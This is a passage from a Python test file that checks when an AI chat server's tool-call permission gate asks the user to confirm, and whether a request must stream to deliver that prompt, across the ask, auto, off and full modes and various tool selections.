assert _permission_mode_confirm(req(confirm_tool_calls = True, stream = False)) is True
|
|
assert _permission_mode_confirm(req(confirm_tool_calls = False, permission_mode = "ask")) is False
|
|
# Explicit ask/auto always engage the gate (a non-streaming one is rejected
|
|
# by the guard that reads this).
|
|
assert _permission_mode_confirm(req(permission_mode = "ask", stream = False)) is True
|
|
assert _permission_mode_confirm(req(permission_mode = "auto", stream = False)) is True
|
|
# off/full never prompt.
|
|
assert _permission_mode_confirm(req(permission_mode = "off")) is False
|
|
assert _permission_mode_confirm(req(permission_mode = "full")) is False
|
|
# An unset mode defaults to ask, but only realizably on a streaming request;
|
|
# a non-streaming unset request keeps the legacy run-without-gate behavior.
|
|
assert _permission_mode_confirm(req(stream = True)) is True
|
|
assert _permission_mode_confirm(req(stream = False)) is False
|
|
|
|
|
|
def test_confirm_gate_needs_stream():
|
|
# auto only prompts for a classifier-flagged call, so an auto request that can
|
|
# only select always-safe tools (web_search / RAG) needs no stream and must not
|
|
# be rejected by the confirm-without-stream guard.
|
|
from routes.inference import _confirm_gate_needs_stream
|
|
|
|
def req(**kw):
|
|
return ChatCompletionRequest(messages = [{"role": "user", "content": "hi"}], **kw)
|
|
|
|
safe = ["web_search", "search_knowledge_base"]
|
|
# auto + a safe-only selection never prompts -> no stream needed.
|
|
assert _confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = safe)) is False
|
|
assert (
|
|
_confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["web_search"]))
|
|
is False
|
|
)
|
|
# render_html can prompt when its canvas reaches the network, so a selection
|
|
# that includes it needs a stream to deliver that prompt.
|
|
assert (
|
|
_confirm_gate_needs_stream(
|
|
req(permission_mode = "auto", enabled_tools = ["web_search", "render_html"])
|
|
)
|
|
is True
|
|
)
|
|
# But a selectable unsafe tool, an unrestricted (omitted) selection, MCP, or an
|
|
# explicit confirm flag all still require streaming under auto.
|
|
assert (
|
|
_confirm_gate_needs_stream(req(permission_mode = "auto", enabled_tools = ["terminal"])) is True
|
|
)
|
|
assert _confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True)) is True
|
|
assert (
|
|
_confirm_gate_needs_stream(
|
|
req(permission_mode = "auto", enabled_tools = ["web_search"], mcp_enabled = True)
|
|
)
|
|
is True
|
|
)
|
|
assert (
|
|
_confirm_gate_needs_stream(
|
|
req(permission_mode = "auto", enabled_tools = ["web_search"], confirm_tool_calls = True)
|
|
)
|
|
is True
|
|
)
|
|
# An explicit empty selection runs no built-in tool, so nothing can prompt and
|
|
# no stream is needed (distinct from an omitted list, which means all tools).
|
|
assert (
|
|
_confirm_gate_needs_stream(req(permission_mode = "auto", enable_tools = True, enabled_tools = []))
|
|
is False
|
|
)
|
|
# ask prompts for every call, so even a safe-only selection needs streaming.
|
|
assert _confirm_gate_needs_stream(req(permission_mode = "ask", enabled_tools = safe)) is True
|
|
# off/full never prompt; unset non-streaming keeps the legacy run-without-gate.
|
|
assert _confirm_gate_needs_stream(req(permission_mode = "off", enabled_tools = safe)) is False
|
|
assert _confirm_gate_needs_stream(req(permission_mode = "full", enabled_tools = safe)) is False
|
|
assert _confirm_gate_needs_stream(req(enabled_tools = safe, stream = False)) is False
|